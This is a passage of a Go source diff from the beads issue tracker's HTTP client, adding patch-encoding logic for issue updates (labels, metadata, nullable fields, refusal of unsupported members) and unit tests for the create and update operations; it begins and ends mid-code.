issueops.Claimer promised rather than failing an otherwise-successful + // claim. Labels and CreatedBy ONLY: the read's RowVersion is another + // snapshot's, and the doc above is why it must not ride onto this row. A + // guard composed from the unset token fails closed (ErrVersionMismatch: the + // caller re-reads), where a borrowed one could pass over a write this claim + // never saw. Against a current server the claim rides updateIssue instead, + // whose `revision` Update stitches as it does for any patch, so the real + // token is missing only on this pre-#6890 fallback. + if issue != nil { + if hydrated, hydrateErr := l.store.GetIssue(ctx, req.IssueID); hydrateErr == nil && hydrated != nil { + withLabels := *issue + withLabels.Labels = hydrated.Labels + withLabels.CreatedBy = hydrated.CreatedBy + issue = &withLabels + } + } + return issueops.UpdateResult{Issue: issue, Changed: res.Changed}, nil +} + +// isClaimOnlyUpdate reports whether req carries nothing but the claim itself +// (and the Actor/IssueID pair every UpdateRequest needs) — whether claimIssue, +// whose wire request is the actor alone, can carry ALL of it. Any other +// UpdateRequest member holding a non-zero value — a Patch field, a guard, a +// force override, a provenance label — is one claimIssue has no place for, so +// claimOnlyUpdate's fallback would drop it. +// +// reflect.DeepEqual against the zero IssuePatch, rather than a hand-enumerated +// field list, is deliberate: a future IssuePatch member defaults to unset, so +// it is caught by this check without this function needing to learn its name. +func isClaimOnlyUpdate(req issueops.UpdateRequest) bool { + return reflect.DeepEqual(req.Patch, issueops.IssuePatch{}) && + !req.ForceAssigneeTransfer && + !req.ForceClosePolicy && + !req.ForceNotesOverwrite && + !req.IssuePlaneOnly && + req.Provenance == "" && + req.ExpectedVersion == nil && + req.ExpectedAssignee == nil && + req.ExpectedStatus == nil +} + +// isWispIssue reports whether issue lives on the wisp plane, mirroring +// internal/storage/issueops.IsWisp's flags-not-id-pattern rule (unexported +// there, and this package does not import it): a row is a wisp because it is +// Ephemeral or NoHistory, never because of what its id looks like. It does +// not read WispPlaneOverride, which only matters mid-import — a row this +// client just fetched off a live server is never an in-flight import record. +func isWispIssue(issue *types.Issue) bool { + return issue.Ephemeral || issue.NoHistory +} + +// refuseUnwirableUpdateMembers walks the UpdateRequest members the wire's +// updateIssue body has no place for. +// +// The claim and the three force overrides are NOT on this switch: updateIssue +// publishes all four (internal/httpapi/apigen's UpdateIssueRequest), the +// server reads them (internal/httpapi/update.go), and Update sends them beside +// the patch as wire.UpdateFlags. Their W-UpdateRequest rows are RETIRED. +// +// The order is the ledger's, and each refusal cites its row rather than a +// sentence, so the taxonomy renders the same reason the design recorded. +func refuseUnwirableUpdateMembers(req issueops.UpdateRequest) error { + switch { + case req.IssuePlaneOnly: + return refuse(encode.OpUpdateIssue, "W-UpdateRequest.IssuePlaneOnly") + case req.Provenance != "": + return refuse(encode.OpUpdateIssue, "W-UpdateRequest.Provenance") + } + return nil +} + +// encodeIssuePatch turns the role's patch into the wire's patch document. +// +// A member that is Set becomes a member of the document; a member that is not +// stays out of it. The four NULLABLE members are the reason the document is a +// map of any rather than a struct: their Field values wrap a POINTER, and a set +// nil pointer has to reach the server as a literal null — the clear — where an +// unset one has to be absent entirely. +// +// Every member the wire excludes refuses here rather than being skipped. Reading +// this function as the wire's allowlist is the point: what it does not write, it +// refuses, and there is no third arm. +func encodeIssuePatch(patch issueops.IssuePatch) (map[string]any, error) { + // REFUSE FIRST, then encode. The excluded members are decided before any + // member is written, so a patch that both names one and carries a malformed + // metadata blob reports the refusal — the fact about the WIRE — rather than + // whichever error the encoder happened to reach first. + if err := refuseExcludedPatchMembers(patch); err != nil { + return nil, err + } + out := map[string]any{} + + setString(out, "title", patch.Title) + setString(out, "description", patch.Description) + setString(out, "design", patch.Design) + setString(out, "acceptance_criteria", patch.AcceptanceCriteria) + setString(out, "notes", patch.Notes) + setString(out, "append_notes", patch.AppendNotes) + if patch.Priority.Set { + out["priority"] = patch.Priority.Value + } + if patch.IssueType.Set { + out["issue_type"] = string(patch.IssueType.Value) + } + + // The four members upstream #5484 added. + // + // PRESENCE ALONE DECIDES all three of the strings, and on two of them the + // EMPTY STRING is a request rather than an absence: an empty `assignee` + // unassigns, and an empty `parent_id` removes every parent-child edge. A + // builder that skipped a member because its value was empty would turn both + // into no edit at all — silently, since the server answers `changed: false` + // and the caller reads a 200. + // + // `status` is not a second spelling of close and reopen. Those two carry + // semantics a status write has nowhere to put — the reason and session under + // first-close-wins, the done-status normalization, the already-closed + // idempotence flag — and stay the operations to reach for. This member is + // the status moved ALONGSIDE other fields in one transaction, which is the + // thing two calls cannot do. It answers to close policy either way: a + // crossing into the done category earns the server's own not_closable. + if patch.Status.Set { + out["status"] = string(patch.Status.Value) + } + setString(out, "assignee", patch.Assignee) + setString(out, "parent_id", patch.ParentID) + if metadataPatched(patch.Metadata) { + document, err := encodeMetadataPatch(patch.Metadata) + if err != nil { + return nil, err + } + out["metadata"] = document + } + + // The nullable four. A set member always lands, and lands as null when its + // pointer is nil, because that is the clear. + setNullable(out, "estimated_minutes", patch.EstimatedMinutes) + setNullable(out, "external_ref", patch.ExternalRef) + setNullableTime(out, "due_at", patch.DueAt) + setNullableTime(out, "defer_until", patch.DeferUntil) + + // THE ORDERED LABEL EDIT, whole. The wire spells it as three FLAT members + // where applyBatch nests them under one object, and the difference is + // historical rather than meaningful: `labels` shipped as a bare array, and + // nesting it now would re-type a published member. What both spell is the + // role's own algebra — replace, then add, then remove, so REMOVAL WINS where + // a label appears in more than one — and the server assembles all three into + // ONE issueops.LabelPatch, so the order is never this client's to arrange. + // + // AN INCREMENTAL EDIT USED TO REFUSE HERE (W-IssuePatch.Labels), and it is + // worth saying what the refusal was protecting: a client that degraded an add + // to the replace-only member would have to read the set, add to it and write + // it back, which silently drops any label another writer added in between — + // and `bd label add` and every agent that tags work concurrently are exactly + // that caller. The members retire the refusal rather than the argument. + if patch.Labels.Replace.Set { + labels := patch.Labels.Replace.Value + if labels == nil { + // An empty array clears the set; a JSON null on this member is not + // a clear and the server refuses it. + labels = []string{} + } + out["labels"] = labels + } + // EMITTED ONLY WHEN NON-EMPTY, which is not a drop: Add and Remove are bare + // slices on the role, so nil and empty are one value there — an Add carrying + // nothing changes nothing and reports Changed false — and sending an empty + // array would put a member on the wire that says nothing while turning a + // patch that edits nothing into one the server has to refuse for a different + // reason. It is encodeApplyLabelPatch's rule, on the flat spelling. + if len(patch.Labels.Add) > 0 { + out["add_labels"] = append([]string(nil), patch.Labels.Add...) + } + if len(patch.Labels.Remove) > 0 { + out["remove_labels"] = append([]string(nil), patch.Labels.Remove...) + } + return out, nil +} + +// encodeMetadataPatch turns the role's metadata edit into the wire's own +// metadata document. +// +// It is a PROJECTION rather than a translation: apigen.ApplyMetadataPatch +// publishes replace, merge, set and unset, the role's MetadataPatch carries +// exactly those four, and the algebra over them — merge, then set in key order, +// then unset, with replace replacing the whole document and refusing beside the +// other three — is the ROLE's and is applied server-side by the same body a +// local workspace runs. Nothing here re-decides any of it, which is why the +// replace-plus-incremental contradiction is sent rather than pre-empted: both +// sides refuse it as a validation failure and writing nothing. +// +// It is a map for its parent's reason. apigen.ApplyMetadataPatch spells every +// member `omitempty`, and on THIS document that collapses the one state the +// role can express and the struct cannot: a set Replace holding no bytes is the +// CLEAR, and an omitted `replace` is no replacement at all. +// +// The two things it does decide, both because the alternative is not +// expressible on a JSON wire: +// +// - a clear travels as `{}`. An empty json.RawMessage is not a JSON value — +// json.Marshal fails on one — and `{}` is the document the role's own +// ApplyMetadataPatch substitutes for it before it writes, so this is the +// role's answer rather than a choice made here. +// - a blob that is not JSON refuses as ErrValidation, the way the create's +// does, rather than failing inside the marshaler as a transport fault. +func encodeMetadataPatch(patch issueops.MetadataPatch) (map[string]any, error) { + out := map[string]any{} + if patch.Replace.Set { + replacement := append(json.RawMessage(nil), patch.Replace.Value...) + if len(replacement) == 0 { + replacement = json.RawMessage(`{}`) + } + if err := requireJSON("Metadata.Replace", replacement); err != nil { + return nil, err + } + out["replace"] = replacement + } + if patch.Merge.Set { + merge := append(json.RawMessage(nil), patch.Merge.Value...) + if err := requireJSON("Metadata.Merge", merge); err != nil { + return nil, err + } + out["merge"] = merge + } + if len(patch.Set) > 0 { + values := make(map[string]json.RawMessage, len(patch.Set)) + // Sorted, so a patch breaking two keys always names the same offender. + // The role applies them in key order for its own reasons; this is only + // about which refusal a caller fixing one key at a time sees first. + for _, key := range slices.Sorted(maps.Keys(patch.Set)) { + value := append(json.RawMessage(nil), patch.Set[key]...) + if err := requireJSON(fmt.Sprintf("Metadata.Set[%q]", key), value); err != nil { + return nil, err + } + values[key] = value + } + out["set"] = values + } + if len(patch.Unset) > 0 { + out["unset"] = append([]string(nil), patch.Unset...) + } + return out, nil +} + +// refuseExcludedPatchMembers is the other half of the allowlist above: the +// IssuePatch members internal/httpapi/update.go's issuePatchMembers list leaves +// out. +func refuseExcludedPatchMembers(patch issueops.IssuePatch) error { + switch { + case patch.Owner.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.Owner") + case patch.ClosedBySession.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.ClosedBySession") + case patch.SpecID.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.SpecID") + case patch.AwaitID.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.AwaitID") + case patch.Persistence.Set: + return refuse(encode.OpUpdateIssue, "W-IssuePatch.Persistence") + } + return nil +} + +func metadataPatched(m issueops.MetadataPatch) bool { + return m.Replace.Set || m.Merge.Set || len(m.Set) > 0 || len(m.Unset) > 0 +} + +func setString(out map[string]any, member string, field issueops.Field[string]) { + if field.Set { + out[member] = field.Value + } +} + +// setNullable writes a member whose absence and whose null mean different +// things. The generic parameter is the POINTEE, so a nil Value marshals to null. +func setNullable[T any](out map[string]any, member string, field issueops.Field[*T]) { + if !field.Set { + return + } + if field.Value == nil { + out[member] = nil + return + } + out[member] = *field.Value +} + +// setNullableTime is setNullable for the two timestamp members. It is separate +// only because a *time.Time dereferenced into an `any` would marshal through +// time.Time's own encoder either way, and spelling it out keeps the RFC 3339 +// contract visible at the call site. +func setNullableTime(out map[string]any, member string, field issueops.Field[*time.Time]) { + if !field.Set { + return + } + if field.Value == nil { + out[member] = nil + return + } + out[member] = field.Value.UTC().Format(time.RFC3339Nano) +} + +// CloseIssue is the OFF-ROLE raw close, mapped onto the same closeIssue +// operation the Lifecycle role uses (design D8's off-role list, extended by the +// `bd close` decision). +// +// Its one caller at tip is the molecule auto-close, which closes a parent whose +// children have all finished and discards nothing about the outcome. Routing it +// onto the role's operation rather than refusing it is what keeps that path +// working over http; it carries no reason-per-item and no force, so the mapping +// is total. +func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session string) error { + w, err := s.roleWire("CloseIssue") + if err != nil { + return err + } + if err := requireActor(actor); err != nil { + return err + } + if err := requireID("issue id", id); err != nil { + return err + } + _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, false)) + return err +} diff --git a/internal/httpclient/lifecycle_create_test.go b/internal/httpclient/lifecycle_create_test.go new file mode 100644 index 000000000..a67b50693 --- /dev/null +++ b/internal/httpclient/lifecycle_create_test.go @@ -0,0 +1,289 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/lifecycle_create_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "reflect" + "slices" + "sort" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The SINGLE create's refuse-not-drop gate, and the counterpart of +// TestBatchCreateRefusesEveryMemberTheWireExcludes. +// +// The two operations flatten the same types.Issue and they flatten DIFFERENT +// slices of it — createIssue publishes twenty members where batchCreateIssues' +// item publishes eight — so neither gate can stand in for the other. What they +// do share is the ROLE's own ignore list, which is one fact about one role and +// is one table here. +// +// The four directions: +// +// carried -> wire the twenty members the client claims to carry are +// members apigen.CreateIssueRequest really publishes. +// source -> partition every populatable field of types.Issue is carried, +// ignored by the role, refused by the role, or refused by +// the wire. There is no fifth arm, so a member added +// upstream cannot arrive unclassified. +// behavior every wire-refused member really fails, citing its +// ledger row, WITHOUT dialing. +// request the request's own excluded member — IDPrefix — refuses +// the same way wherever it would act. +func TestCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { + t.Run("carried members are the wire's own", func(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.CreateIssueRequest{})) + for field, wireMember := range createCarriedIssueMembers { + if _, ok := reflect.TypeOf(issueops.Issue{}).FieldByName(field); !ok { + t.Errorf("the carried table names Issue.%s, which does not exist", field) + } + if !published[wireMember] { + t.Errorf("Issue.%s claims wire member %q, which CreateIssueRequest does not publish", field, wireMember) + } + } + // The complement is the REQUEST's own members rather than the issue's, + // so this direction stops at "published"; the whole-body bijection is + // the createIssue writeShape's, which claims every member of this body + // exactly once. + for _, wireMember := range createCarriedIssueMembers { + if strings.TrimSpace(wireMember) == "" { + t.Error("the carried table names an empty wire member") + } + } + }) + + refused := createWireRefusedIssueMembers(t) + + t.Run("the partition covers every member", func(t *testing.T) { + if len(refused) == 0 { + t.Fatal("no member is wire-refused; the partition tables have swallowed the population this gate exists for") + } + // The creation stamp and the classification plumbing are the two + // populations the operation's own description says it cannot set, and a + // create that dropped either is a row the caller believes they wrote. + // CreatedBy stays here because only a value NAMING THE ACTOR rides the + // server's stamp — see "a CreatedBy naming the actor" below. + for _, name := range []string{"CreatedAt", "CreatedBy", "SpecID", "StorageClass", "MolType", "Pinned"} { + if !slices.Contains(refused, name) { + t.Errorf("Issue.%s is not in the refused population; a create that dropped it is data loss", name) + } + } + // And the mirror image: the members this operation DOES publish that + // the batch's narrower item does not. A regression that copied the + // batch's table onto this operation would refuse all six. + for _, name := range []string{"ID", "Status", "Notes", "Metadata", "Ephemeral", "Sender"} { + if slices.Contains(refused, name) { + t.Errorf("Issue.%s is refused, but createIssue publishes it — this is the operation that fixed the batch's gap", name) + } + } + for field := range roleIgnoredCreateIssueMembers { + if _, dup := createCarriedIssueMembers[field]; dup { + t.Errorf("Issue.%s is both carried and ignored", field) + } + } + }) + + t.Run("every refused member fails without dialing", func(t *testing.T) { + for _, name := range refused { + t.Run(name, func(t *testing.T) { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", Issue: issue, + }) + assertRefusedBy(t, err, "W-CreateRequest.Issue") + if !strings.Contains(err.Error(), name) { + t.Errorf("the refusal does not name the member: %v", err) + } + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("the role's own two are ErrValidation", func(t *testing.T) { + for name := range createRoleRefusedIssueMembers { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{Actor: "writer", Issue: issue}) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Issue.%s error = %v, want ErrValidation — a local backend refuses it too", name, err) + } + if len(w.calls) != 0 { + t.Errorf("Issue.%s reached the wire: %v", name, w.calls) + } + } + }) + + t.Run("a CreatedBy naming the actor rides the server's stamp", func(t *testing.T) { + // Every create shape stamps created_by from the actor, so the one value + // that stamp writes is carried BY it — and it is what every CLI create + // sends. Any other value would be silently replaced, which is why the + // sweep above still refuses CreatedBy: "sentinel" is never the actor. + w := &stubWire{} + if _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "t", CreatedBy: "writer"}, + }); err != nil { + t.Fatalf("Create with CreatedBy == Actor = %v, want it carried by the server's stamp", err) + } + if w.lastCreate.Actor != "writer" { + t.Errorf("sent actor = %q, want the creator the stamp will write", w.lastCreate.Actor) + } + }) + + t.Run("the request's own excluded member refuses where it would act", func(t *testing.T) { + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + IDPrefix: "other", + Issue: &issueops.Issue{ID: "other-1", Title: "t"}, + }) + assertRefusedBy(t, err, "W-CreateRequest.IDPrefix") + if len(w.calls) != 0 { + t.Errorf("the prefix override reached the wire: %v", w.calls) + } + }) + + t.Run("the request's own excluded member is inert where it would not act", func(t *testing.T) { + // The role reads IDPrefix only to check an explicit, unforced id. `bd + // create` sends the workspace's prefix on EVERY create, so refusing it + // on a minted or forced id would refuse every create in a workspace + // whose config.yaml names a prefix. + for name, req := range map[string]issueops.CreateRequest{ + "a minted id": {Issue: &issueops.Issue{Title: "t"}}, + "a forced id": {Issue: &issueops.Issue{ID: "other-1", Title: "t"}, ForceIDPrefix: true}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + request := req + request.Actor = "writer" + request.IDPrefix = "other" + if _, err := createRole(t, w).Create(t.Context(), request); err != nil { + t.Fatalf("Create = %v, want the inert override sent without", err) + } + if got := derefOr(w.lastCreate.Id, ""); got != request.Issue.ID { + t.Errorf("sent id = %q, want %q", got, request.Issue.ID) + } + if forced := w.lastCreate.ForceIdPrefix != nil && *w.lastCreate.ForceIdPrefix; forced != request.ForceIDPrefix { + t.Errorf("sent force_id_prefix = %v, want %v", forced, request.ForceIDPrefix) + } + }) + } + }) + + t.Run("a metadata blob that is not JSON is ErrValidation, not a marshal fault", func(t *testing.T) { + // The blob's CONTENT is the role's business and travels verbatim; its + // well-formedness is this layer's, because bytes that are not JSON + // cannot go on a JSON wire and would otherwise fail inside + // json.Marshal — a transport fault where the contract promises a + // deterministic validation failure. + for name, req := range map[string]issueops.CreateRequest{ + "on the issue": { + Issue: &issueops.Issue{Title: "t", Metadata: []byte(`{"k":`)}, + }, + "on an edge": { + Issue: &issueops.Issue{Title: "t"}, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks, Metadata: `not json`}}, + }, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + request := req + request.Actor = "writer" + if _, err := createRole(t, w).Create(t.Context(), request); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Create with a malformed metadata blob = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the malformed blob reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("the edge's one", func(t *testing.T) { + // ONE, not the batch's three: createIssue's edge publishes `reverse` + // and `metadata`, because a create has an id for a target to point back + // at. Only the thread has no member on any operation. + w := &stubWire{} + _, err := createRole(t, w).Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "t"}, + Dependencies: []issueops.CreateDependency{ + {TargetID: "bd-9", Type: types.DepBlocks, ThreadID: "th-1"}, + }, + }) + assertRefusedBy(t, err, "W-CreateDependency.ThreadID") + if len(w.calls) != 0 { + t.Errorf("the thread id reached the wire: %v", w.calls) + } + }) + + t.Run("the request has exactly the members this gate accounts for", func(t *testing.T) { + // The CONTAINER above types.Issue, which no other gate can see: the + // createIssue writeShape classifies these fields against the body, but + // a field added to CreateRequest tomorrow and then carried by a new + // wire member would leave this gate's own reasoning stale without + // anything saying so. + got := populatableFields(reflect.TypeOf(issueops.CreateRequest{})) + sort.Strings(got) + want := []string{ + "Actor", "Dependencies", "ForceIDPrefix", "IDPrefix", + "InheritLabelsFromParent", "Issue", "ParentID", "WaitsFor", + } + if !reflect.DeepEqual(got, want) { + t.Errorf("CreateRequest carries %v, want %v.\n"+ + "A new member reaches no wire member and no refusal: carry it in createBody, or refuse it with a ledger row.", got, want) + } + }) +} + +// createRoleRefusedIssueMembers are the two members the ROLE refuses in its own +// right, so the refusal is ErrValidation on every backend rather than a +// divergence: "Issue.Comments and Issue.Dependencies must be empty; supply edges +// through the request's own Dependencies field" (issueops.CreateRequest.Issue). +var createRoleRefusedIssueMembers = map[string]string{ + "Comments": "the role refuses a create carrying comments", + "Dependencies": "the role refuses an inline edge list; edges ride the request's own Dependencies", +} + +// createWireRefusedIssueMembers is the complement the gate drives: every +// populatable field of types.Issue that is neither carried by this operation's +// vocabulary, nor ignored by the role, nor refused by the role in its own right. +func createWireRefusedIssueMembers(t *testing.T) []string { + t.Helper() + var out []string + for _, name := range populatableFields(reflect.TypeOf(issueops.Issue{})) { + if _, ok := createCarriedIssueMembers[name]; ok { + continue + } + if _, ok := roleIgnoredCreateIssueMembers[name]; ok { + continue + } + if _, ok := createRoleRefusedIssueMembers[name]; ok { + continue + } + out = append(out, name) + } + return out +} + +func createRole(t *testing.T, w *stubWire) issueops.Lifecycle { + t.Helper() + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return lifecycle +} diff --git a/internal/httpclient/lifecycle_update_test.go b/internal/httpclient/lifecycle_update_test.go new file mode 100644 index 000000000..9a4ee8ac2 --- /dev/null +++ b/internal/httpclient/lifecycle_update_test.go @@ -0,0 +1,308 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/lifecycle_update_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// The PATCH document's own gates, and the counterpart of +// lifecycle_create_test.go for the operation whose request is not a struct. +// +// updateIssue is the one write on this surface the client builds as a map, so +// nothing the compiler does can hold it to the wire's vocabulary: a typo is a +// 400 from a live server and a green run everywhere else. Three things are +// asserted here that no served case can show as cheaply — the members the wire +// wave added really reach the document, the metadata sub-document is the wire's +// own algebra rather than a second spelling of it, and a member the role adds +// tomorrow cannot arrive unclassified. + +// TestUpdateSendsThePatchMembersTheWireNowPublishes is the round trip for the +// four members client wave ga-7i6by carries: `status`, `assignee`, `parent_id` +// and `metadata`. Each was a W-IssuePatch refusal until the wire published it, +// and each is asserted through the document the role built rather than through +// the result, because the result is the server's and would look identical if +// the member had been dropped. +func TestUpdateSendsThePatchMembersTheWireNowPublishes(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Changed: true, Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{ + Status: set(issueops.StatusInProgress), + Assignee: set("holder"), + ParentID: set("bd-parent"), + Metadata: issueops.MetadataPatch{ + Set: map[string]json.RawMessage{"gc.lease": json.RawMessage(`"win44"`)}, + }, + }, + }); err != nil { + t.Fatalf("Update: %v", err) + } + + patch := w.lastPatch + for member, want := range map[string]any{ + "status": string(issueops.StatusInProgress), + "assignee": "holder", + "parent_id": "bd-parent", + } { + if got, ok := patch[member]; !ok || got != want { + t.Errorf("patch[%s] = %v (present %t), want %v", member, got, ok, want) + } + } + metadata, ok := patch["metadata"].(map[string]any) + if !ok { + t.Fatalf("patch[metadata] = %#v, want the wire's own metadata document", patch["metadata"]) + } + values, ok := metadata["set"].(map[string]json.RawMessage) + if !ok { + t.Fatalf("metadata[set] = %#v, want the raw values map", metadata["set"]) + } + if got := string(values["gc.lease"]); got != `"win44"` { + t.Errorf("metadata.set[gc.lease] = %s, want the caller's own bytes", got) + } +} + +// TestUpdateSendsTheEmptyStringsThatMeanSomething is the half of the three +// string members a nil check would lose. On this operation the empty string is +// not "no value": it UNASSIGNS on `assignee` and removes every parent-child +// edge on `parent_id`, so a builder that skipped a member because its value was +// empty would turn two real edits into no edit at all — silently, since the +// server answers `changed: false` and the caller reads a 200. +func TestUpdateSendsTheEmptyStringsThatMeanSomething(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{Assignee: set(""), ParentID: set("")}, + }); err != nil { + t.Fatalf("Update: %v", err) + } + for _, member := range []string{"assignee", "parent_id"} { + got, ok := w.lastPatch[member] + if !ok { + t.Errorf("patch omits %s, which was set to the empty string — the unassign and the unparent are edits, not omissions", member) + continue + } + if got != "" { + t.Errorf("patch[%s] = %v, want the empty string the caller set", member, got) + } + } +} + +// TestUpdateEncodesTheMetadataAlgebra drives the sub-document one arm at a time. +// +// The algebra is the ROLE's — merge, then set in key order, then unset, with +// replace replacing the whole document — and the wire publishes it member for +// member, so this asserts a projection rather than a translation. The one place +// the two genuinely disagree is the CLEAR: the role spells it as a set Replace +// holding no bytes, and no bytes is not a JSON value at all. +func TestUpdateEncodesTheMetadataAlgebra(t *testing.T) { + tests := []struct { + name string + patch issueops.MetadataPatch + want map[string]string + }{ + { + name: "replace carries the caller's document", + patch: issueops.MetadataPatch{Replace: set(json.RawMessage(`{"a":1}`))}, + want: map[string]string{"replace": `{"a":1}`}, + }, + { + name: "an empty replacement is the clear, spelled as the empty document", + patch: issueops.MetadataPatch{Replace: set(json.RawMessage(nil))}, + want: map[string]string{"replace": `{}`}, + }, + { + name: "merge carries the overlay", + patch: issueops.MetadataPatch{Merge: set(json.RawMessage(`{"b":2}`))}, + want: map[string]string{"merge": `{"b":2}`}, + }, + { + name: "set and unset travel together", + patch: issueops.MetadataPatch{ + Set: map[string]json.RawMessage{"k": json.RawMessage(`{"nested":[1,2]}`)}, + Unset: []string{"gone"}, + }, + want: map[string]string{"set": `{"k":{"nested":[1,2]}}`, "unset": `["gone"]`}, + }, + { + name: "a key stored as JSON null is a value, not an absence", + patch: issueops.MetadataPatch{Set: map[string]json.RawMessage{"k": json.RawMessage(`null`)}}, + want: map[string]string{"set": `{"k":null}`}, + }, + { + // EVERY NUMBER TRAVELS AS THE CALLER'S OWN LITERAL, and this is the + // case that says why it must. The role compares metadata values by + // their SOURCE LITERAL — `1` and `1.0` are not equal — so a client + // that decoded a value through `any` and re-encoded it would change + // the request: `1.0` would arrive as `1`, an integer past 2^53 would + // arrive rounded, and both would be compared against a stored value + // under a spelling the caller never wrote. On the compare-and-set + // path that is a changed VERDICT, not a cosmetic difference. + // + // The store renormalizes numbers on the way in and says so; what + // must not happen is a SECOND renormalization here, before the + // store has seen what was actually sent. + name: "numbers travel as the caller's own literal", + patch: issueops.MetadataPatch{ + Set: map[string]json.RawMessage{ + "tenth": json.RawMessage(`1.0`), + "big": json.RawMessage(`9007199254740993`), + }, + }, + want: map[string]string{"set": `{"big":9007199254740993,"tenth":1.0}`}, + }, + { + name: "and so does a replacement document", + patch: issueops.MetadataPatch{Replace: set(json.RawMessage(`{"n":1.0}`))}, + want: map[string]string{"replace": `{"n":1.0}`}, + }, + { + name: "and so does a merge overlay", + patch: issueops.MetadataPatch{Merge: set(json.RawMessage(`{"n":1.0}`))}, + want: map[string]string{"merge": `{"n":1.0}`}, + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{Metadata: test.patch}, + }); err != nil { + t.Fatalf("Update: %v", err) + } + // Through the marshaler, because what the server reads is the + // BYTES: a map of json.RawMessage that looked right in Go and + // marshaled to something else would pass a field-by-field check. + document, ok := w.lastPatch["metadata"] + if !ok { + t.Fatal("the patch carries no metadata member") + } + encoded, err := json.Marshal(document) + if err != nil { + t.Fatalf("marshal the metadata document: %v", err) + } + var got map[string]json.RawMessage + if err := json.Unmarshal(encoded, &got); err != nil { + t.Fatalf("re-read the metadata document: %v", err) + } + if len(got) != len(test.want) { + t.Errorf("metadata document = %s, want exactly %v", encoded, sortedStringKeys(test.want)) + } + for member, want := range test.want { + if string(got[member]) != want { + t.Errorf("metadata[%s] = %s, want %s", member, got[member], want) + } + } + }) + } +} + +// TestUpdateRefusesMetadataThatIsNotJSON keeps a blob that cannot go on a JSON +// wire off it, the way the create's own gate does. The blob's CONTENT is the +// role's business and travels verbatim; its well-formedness is this layer's, +// because bytes that are not JSON fail inside json.Marshal and would reach the +// caller as a transport fault where every role contract promises a +// deterministic validation failure. +func TestUpdateRefusesMetadataThatIsNotJSON(t *testing.T) { + for name, patch := range map[string]issueops.MetadataPatch{ + "replace": {Replace: set(json.RawMessage(`{"k":`))}, + "merge": {Merge: set(json.RawMessage(`not json`))}, + "set": {Set: map[string]json.RawMessage{"k": json.RawMessage(`{`)}}, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", + Patch: issueops.IssuePatch{Metadata: patch}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("a malformed %s = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the malformed blob reached the wire: %v", w.calls) + } + }) + } +} + +// TestTheEncodedMetadataDocumentUsesOnlyPublishedMembers is the patch +// document's own gate one level down. +// +// TestTheEncodedPatchDocumentUsesOnlyPublishedMembers holds the TOP level to +// apigen.IssuePatchBody; the metadata member is a nested document built the +// same untyped way, and until this ran nothing held it to +// apigen.ApplyMetadataPatch at all. Both directions matter: a member the wire +// does not publish is a 400, and a member it publishes that no arm of +// MetadataPatch drives is an edit this client cannot make. +func 